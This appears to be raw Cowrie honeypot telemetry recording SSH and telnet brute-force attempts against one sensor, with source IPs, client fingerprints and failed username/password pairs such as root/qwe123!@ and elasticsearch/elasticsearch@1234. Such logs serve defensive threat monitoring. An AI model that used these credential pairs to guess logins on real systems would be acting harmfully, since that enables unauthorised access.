{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:43.891907Z","src_ip":"103.75.199.4","session":"3974b67061b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:44.165631Z","src_ip":"103.75.199.4","session":"3974b67061b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:45.259416Z","src_ip":"103.75.199.4","session":"3974b67061b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58814,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dd8e7bc94ab","protocol":"ssh","message":"New connection: 45.153.34.114:58814 (159.203.135.109:22) [session: 1dd8e7bc94ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:46.488922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:46.492696Z","src_ip":"45.153.34.114","session":"1dd8e7bc94ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:46.574896Z","src_ip":"45.153.34.114","session":"1dd8e7bc94ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48362,"dst_ip":"159.203.135.109","dst_port":23,"session":"d026b3fbfb66","protocol":"telnet","message":"New connection: 74.91.213.120:48362 (159.203.135.109:23) [session: d026b3fbfb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:46.657381Z"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:46.848005Z","src_ip":"45.153.34.114","session":"1dd8e7bc94ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48354,"dst_ip":"159.203.135.109","dst_port":23,"session":"2431a2ebbdf7","protocol":"telnet","message":"New connection: 74.91.213.120:48354 (159.203.135.109:23) [session: 2431a2ebbdf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:47.144501Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:47.935209Z","src_ip":"45.153.34.114","session":"1dd8e7bc94ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":36094,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f79058ea0a2","protocol":"ssh","message":"New connection: 20.203.42.204:36094 (159.203.135.109:22) [session: 4f79058ea0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:47.975370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:47.980037Z","src_ip":"20.203.42.204","session":"4f79058ea0a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:48.149568Z","src_ip":"20.203.42.204","session":"4f79058ea0a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alien","message":"login attempt [root/alien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:48.863109Z","src_ip":"20.203.42.204","session":"4f79058ea0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:50.058021Z","src_ip":"20.203.42.204","session":"4f79058ea0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50879955291748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:50.328309Z","src_ip":"74.91.213.120","session":"502b0f83a6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46076,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a8b4cf27c3","protocol":"telnet","message":"New connection: 74.91.213.120:46076 (159.203.135.109:23) [session: 33a8b4cf27c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:51.099833Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46080,"dst_ip":"159.203.135.109","dst_port":23,"session":"064aefb531c9","protocol":"telnet","message":"New connection: 74.91.213.120:46080 (159.203.135.109:23) [session: 064aefb531c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:54.127542Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56438,"dst_ip":"159.203.135.109","dst_port":22,"session":"307edb392874","protocol":"ssh","message":"New connection: 45.153.34.114:56438 (159.203.135.109:22) [session: 307edb392874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:54.365701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:54.374092Z","src_ip":"45.153.34.114","session":"307edb392874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:54.454659Z","src_ip":"45.153.34.114","session":"307edb392874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:54.791494Z","src_ip":"45.153.34.114","session":"307edb392874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:55.880449Z","src_ip":"45.153.34.114","session":"307edb392874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46086,"dst_ip":"159.203.135.109","dst_port":23,"session":"c78e0bf14ad9","protocol":"telnet","message":"New connection: 74.91.213.120:46086 (159.203.135.109:23) [session: c78e0bf14ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:56.286300Z"}
{"eventid":"cowrie.session.closed","duration":31.174399614334106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:59.023551Z","src_ip":"74.91.213.120","session":"f35c184f5f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55460,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d6e13763702","protocol":"ssh","message":"New connection: 45.153.34.114:55460 (159.203.135.109:22) [session: 0d6e13763702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:02.504936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:02.515541Z","src_ip":"45.153.34.114","session":"0d6e13763702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:02.612677Z","src_ip":"45.153.34.114","session":"0d6e13763702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:02.880092Z","src_ip":"45.153.34.114","session":"0d6e13763702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:03.975882Z","src_ip":"45.153.34.114","session":"0d6e13763702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44448,"dst_ip":"159.203.135.109","dst_port":23,"session":"862be91e4003","protocol":"telnet","message":"New connection: 74.91.213.120:44448 (159.203.135.109:23) [session: 862be91e4003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:04.036421Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39600,"dst_ip":"159.203.135.109","dst_port":22,"session":"497c18dd916a","protocol":"ssh","message":"New connection: 103.75.199.4:39600 (159.203.135.109:22) [session: 497c18dd916a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:05.728498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:05.734393Z","src_ip":"103.75.199.4","session":"497c18dd916a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:05.831199Z","src_ip":"103.75.199.4","session":"497c18dd916a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:06.119179Z","src_ip":"103.75.199.4","session":"497c18dd916a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:07.218106Z","src_ip":"103.75.199.4","session":"497c18dd916a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.453689575195312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:08.421069Z","src_ip":"74.91.213.120","session":"734222c33a68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147111654281616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:09.550015Z","src_ip":"74.91.213.120","session":"6c419ace7562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35472,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b3b8caa57a","protocol":"ssh","message":"New connection: 45.153.34.114:35472 (159.203.135.109:22) [session: 58b3b8caa57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:10.830148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:10.836421Z","src_ip":"45.153.34.114","session":"58b3b8caa57a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:10.921012Z","src_ip":"45.153.34.114","session":"58b3b8caa57a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:11.256404Z","src_ip":"45.153.34.114","session":"58b3b8caa57a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:12.347313Z","src_ip":"45.153.34.114","session":"58b3b8caa57a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.54388213157654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:14.773227Z","src_ip":"74.91.213.120","session":"32de34179a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":40706,"dst_ip":"159.203.135.109","dst_port":23,"session":"93bdf925c97b","protocol":"telnet","message":"New connection: 74.91.213.120:40706 (159.203.135.109:23) [session: 93bdf925c97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:16.382918Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41224,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a1cf37274dd","protocol":"telnet","message":"New connection: 74.91.213.120:41224 (159.203.135.109:23) [session: 4a1cf37274dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:17.134539Z"}
{"eventid":"cowrie.session.closed","duration":31.159483909606934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:17.816729Z","src_ip":"74.91.213.120","session":"d026b3fbfb66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140268325805664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:18.284638Z","src_ip":"74.91.213.120","session":"2431a2ebbdf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35490,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd008cbbb9f","protocol":"ssh","message":"New connection: 45.153.34.114:35490 (159.203.135.109:22) [session: cbd008cbbb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:12:18.630990Z"}
